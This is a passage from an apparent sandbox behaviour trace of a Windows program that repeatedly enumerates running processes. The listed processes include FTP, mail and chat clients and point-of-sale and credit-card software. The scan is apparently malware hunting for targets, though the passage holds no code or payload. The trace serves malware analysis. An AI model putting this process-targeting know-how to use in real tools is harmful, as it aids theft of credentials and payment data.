lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0115.851] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0115.853] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0115.856] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0115.859] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0115.861] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0115.864] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0115.867] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0115.869] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0115.872] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0115.874] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0115.877] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0115.881] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0115.884] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0115.887] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0115.891] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0115.924] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0115.928] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0115.946] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0115.949] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0115.952] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0115.956] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0115.959] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0115.962] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0115.965] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0115.967] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0116.076] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0116.079] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0116.083] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0116.086] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0116.089] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0116.092] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0116.095] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0116.099] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0116.102] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0116.105] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0116.108] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0116.111] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0116.114] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0116.117] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0116.120] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0116.123] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0116.126] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0116.129] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0116.133] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0116.135] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0116.138] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0116.141] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0116.144] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0116.147] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0116.181] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0116.184] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0116.187] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0116.189] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0116.192] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0116.195] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0116.199] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0116.201] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0116.204] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0116.206] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0116.209] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0116.212] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0116.215] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0116.218] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x2a4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0116.221] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0116.224] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0116.226] Process32Next (in: hSnapshot=0x20b0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0116.229] CloseHandle (hObject=0x20b0) returned 1 [0116.229] Sleep (dwMilliseconds=0x64) [0116.329] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e78 [0116.344] Process32First (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0116.346] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0116.348] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0116.350] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0116.352] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0116.354] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0116.355] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0116.357] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0116.359] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0116.362] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.364] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.366] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0116.369] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.370] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.372] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.374] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.376] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 